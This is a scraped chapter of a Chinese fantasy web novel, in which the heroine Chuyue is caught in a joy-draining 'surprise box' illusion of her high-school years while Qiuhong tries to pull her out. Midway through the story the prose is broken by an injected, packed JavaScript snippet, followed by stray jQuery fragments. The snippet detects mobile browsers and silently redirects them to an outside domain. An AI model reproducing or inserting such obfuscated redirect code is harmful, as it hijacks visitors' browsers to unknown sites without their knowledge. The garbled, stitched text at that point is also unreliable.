86. 惊喜盒子(三)

作品:《梦主今日亦未造反

    初月就在门内等他。


    四方砖在身后的铁门合上的那一瞬间,就扬起嘴角心安地笑了。


    他紧紧追随的初月,此刻背对着他,周身浴火,皮肤被火焰镀了一层金光,宛如锻造他那时一样身披圣光。


    “初月?”


    四方砖忐忑轻唤。


    “你动作太慢了!我都等你好久了!”


    “我也等你好久了,75年,不算太晚……”


    初月站在教室后排,手里端着纸盒糊的铁锅,门外的风将铁锅里的皱皱巴巴的试卷吹气,纸张弯折后舒展,发出轻微的“嚓嚓”声。


    四方砖在和谁说话?初月皱眉。


    四方砖的喃喃自语一下子将沉溺于教室幻象中的初月拉回现实,她松开手,纸糊的铁锅与锅铲滑落,被蹂躏成一团的卷子滴溜溜滚到一旁。


    “唉唉!你的溜肥肠沾灰啦!”


    “捡起来洗洗还能吃……”


    七嘴八舌的同学围绕着她,挡住了初月望向四方砖的视线,他们心照不宣地共同用力,想要将初月再次拉入高中校园里天真烂漫的氛围里。


    可醒过来的初月又怎会轻易再次入睡。


    透过重重叠叠的模糊人影,初月望向与刚才的自己别无二致的四方砖,心下大惊:“这惊喜盒子——集装箱好生厉害,竟能轻松准确地抓住各人心中所想所念,再形成这幻象将来人的喜悦情绪搜刮个干净。”


    初月此时已经察觉到自己身体的变化了。


    被午夜沥青寒冰冻住的她,无法像往常一样透过火痕里岩浆的翻涌来释放情绪,并将自己的情绪值紧紧锁在体内不外泄。


    如今,火痕被禁锢,身体里的情绪无处发泄,横穿乱撞,只得将寒冰撞出条条窟窿,压抑不住的火热又将其融化成水,装在身体里晃晃荡荡。


    “如今我体内晃荡的液体十分可疑,稍有不慎只怕会如同扎破了的水球一般迅速干瘪,得去叫醒四方砖,有人照应再去救袅袅胜算才大。”


    初月侧耳倾听了一下隔壁教室的袅袅,她刚低下去的笑声渐渐又开朗了起来,便稍稍安下心来,回身朝着教室前端大迈步而去。


    “梆”的一声闷响,初月脚趾蜷缩,脚尖撞上了一堵无形的厚墙,将初月牢牢地挡在教室后方,再无法向前迈一步。


    “怎么回事?这集装箱还是个单行道?不走回头路?”


    初月双手猛拍,大声呼唤:“四方砖!我在这里!你往前走!”


    而四方砖只是迷迷瞪瞪地望着他眼前的虚无,弯起嘴角,沉溺其中。


    “吵什么吵!初月!你来我办公室!”


    一声尖利但威严的嗓音响起,老班曹公公背着手站在窗外厉声召唤。


    理智告诉初月,这分明就是幻象,可她的身体却诚实得不得了,多年来养成的本能习惯让她脑子还没反应过来的时候,身体已经立正站好,乖乖应声认栽了。


    二十三岁的初月,一下子就缩进了十五岁的她的壳子里。


    初月和曹公公算是老熟人了,她不怕他,可也敬他,她知道他的好。


    老班曹公公追求离异的初月妈妈多年,仍没得到初妈妈的松口,可他不恼,正人君子的作风一向严谨,一得空依旧往初妈妈那里跑。


    被调来当初月的班主任后,他一点不藏私心,也不会因为初月妈妈的这层关系去刻意讨好初月,一直保持着班主任的做派,除了更加关注初月的学习状态以外,对同学们一视同仁。


    初月最尊敬他这一点。


    私心里,她甚至是希望独自一人将她拉扯大、操劳了十几年的妈妈能够有个说得上话的伴的。


    老班曹公公的确是个不错的选择。


    加上这层关系,初月对他更是言听计从。


    “我没犯什么错啊……”


    初月小声嘀咕,被拉进新情境的她早已将困在原地的四方砖忘了个干净。


    小胖也站在一旁,憋着笑偷看她。


    十五岁的小初月背着手,低着头,偷瞟一眼老班的反应,大着胆子为自己辩解。


    “我没和小胖闹,我就是旁观了一下……”


    “我找你来,不是为了说这事儿。”老班拖过椅子让初月坐下,挥手示意小胖先回教室。


    小胖憋不住的幸灾乐祸,对着初月拱拱手,做完表面的一套江湖道义后,溜之大吉。


    “其实这件事呢……按理说我不该在课间时间跟你说……但是,实在是情况紧急……”


    “我妈妈出什么事儿了吗?!”


    初月猛然站起,撑在办公桌上前倾着身体,快要把老班逼到角落里去。


    她从小的习惯,就是将事情往最坏的方向想,而除了她妈妈的事情,在她这里,再没有什么算得上情况紧急的事儿了。


    “没有没有!”曹班连连摆手,“是我……是我约了你妈妈周末看电影,她终于同意了……”


    “什么!?真的吗!”


    初月兴奋地一拳锤向办公桌,高高堆起的练习册中央猛地凹陷了下去。


    “我妈真的同意了吗?!那可太好了!”


    曹班小心翼翼地问:“你,没有意见?”


    初月的嘴角压不下一点儿:“虽然我不怎么喜欢作为老师的你——毕竟没有那个调皮的学生会真的喜欢老师——但是,如果是作为陪伴我妈妈走过下半生的人,你是所有追求者中我最满意的那一个!”


    此刻兴奋地初月已经完全沉浸在惊喜盒子为她量身打造的幻境里了,她甚至忘记了自己为何而来,为谁而来,隔壁的“咯咯”直笑的声音不再紧紧揪着她的心弦,而那一声接一声沉浸呼唤她名字的男声,初月更是无暇顾及。


    此时此刻,她瞥见了妈妈幸福的一角——这是她在现实世界没能拥有过的幸运。


    身体在冒泡,幸福的泡泡,初月奔跑在嘈杂的楼道里,只觉得喜悦的泡泡迷了眼睛。


    她脚步轻盈,身体却越来越臃肿,似乎本该属于妈妈的幸福肥提前长在了自己的身上。


    初月跑下楼梯,迎面撞上了那个长得酷似秋鸿的同桌。


    “嘭”地一声撞击,本该害羞得不知所措的初月却察觉出了自己身体的异样。


    她空荡荡的皮肉里,仿佛灌满了水一般晃荡不止。


    怎么回事?是她突然变胖了吗?


    体内的水波一阵一阵荡漾开去,初月的眼前一片金星。


    “小心……”


    同桌捉住她的双臂,将她轻轻端起,靠在栏杆上,待他松手时,初月的手心里突然多出了一封被揉得皱皱巴巴的信。


    “这是给你的……”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16456806|184254||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    同桌留下这一句话,脸烧地通红,一步三台阶地朝楼下逃去。


    情书?


    初月的心里泛起了涟漪。


    十五岁的她不再是什么也不懂的毛头小孩。


    女同学间偷偷传递的粉红小书,和电影里妈妈每次唤她去接水的情节,这个年纪的她,已经模模糊糊地明白了。


    初月倚在栏杆上,撑住体内涤荡的水波,打开了信件。


    俊朗的字体颤抖着,初月读到了那个男孩的隐秘的情愫。


    “嘭”一声,初月腕心的血岩浆迸发出一颗小泡泡,旋转着飘离她的身体,在空中盘桓不去。


    接着,连锁反应一般,初月的侧腰、大腿、食指尖、脚后跟的火痕开始升温。


    少女的情愫如荒芜的干草沾上了炽烈的火星,一触即燃。


    “初月!”


    秋鸿的脸突然清晰地出现在她的面前,印照着她那张绯红的脸,熟透得像颗晶莹的水蜜桃。


    “秋鸿?”


    此刻,在初月的眼中,同桌那张稚嫩俊美的脸,一瞬间成熟成秋鸿的样子。


    他们二人,在此刻融为了一体。


    秋鸿气喘吁吁,他手握拳递到初月眼前,一根细如丝、洁如雪的晶莹丝线从他拳心两端温润垂下。


    “你不该进这里的……”


    “嗯?”初月依旧沉浸在她的高中时代里。


    “这个……”秋鸿展开紧握的拳,那段白纻树上的丝线在他掌心游动,“我从地底世界偷来的白纻树丝,绑在脖子上可以做气囊收集情绪用,你给你的朋友系上,这样她以后就不必再进惊喜盒子,用自己大量的情绪值来换取一点点情绪回扣了……”


    十五岁的初月搞不懂刚刚给自己送完情书的秋鸿,为什么会提到她印象不深的朋友,还托自己转交礼物。


    她蹙着眉,不满地问:“你喜欢的,不是我吗?”


    “初月?”


    秋鸿疑惑地看着她,初月皮肤薄透,吹弹可破,可周身浮肿,脸色不正常地绯红。


    他又抬头看向初月的头顶,那里空无一物。


    啊,对了,他反应过来,初月又火痕作为情绪出口,不会散发情绪气雾,也就不会被惊喜盒子收刮任何情绪值。


    可是,没有任何情绪值损失的初月,又怎么会像中毒了一样,周身浮肿呢?


    难道真如初月的朋友袅袅所说,初月大病未愈?


    什么病,会有此症状?秋鸿搜肠刮肚,将自己过往的记忆翻了个底朝天,唯一搭得上边儿的,只有午夜沥青——这与他脖颈里狗链同根同源的阴寒之毒。


    而午夜沥青这东西,混上初月体内的血岩浆,在这个将入局者的喜悦情绪榨得干净的橙色惊喜盒子里,又将发生什么样的反应?


    秋鸿不敢细想,当下最紧急的,是离开这个如负压一般不断吸食人喜悦的鬼地方,秋鸿镇守的这个地方。


    “初月,这里不便久待,我带你出去……”


    初月甩开他的手,捏着情书砸在他脸上。


    可这于秋鸿来说,他的视角里,并没有摔在他脸上的信封,只有初月带着燥热馨香的掌风拂面而过。


    初月又羞又恼:“你不喜欢我!为什么要给我送情书?!像我那个撩了我妈生了孩子就现原形的亲爸吗!?”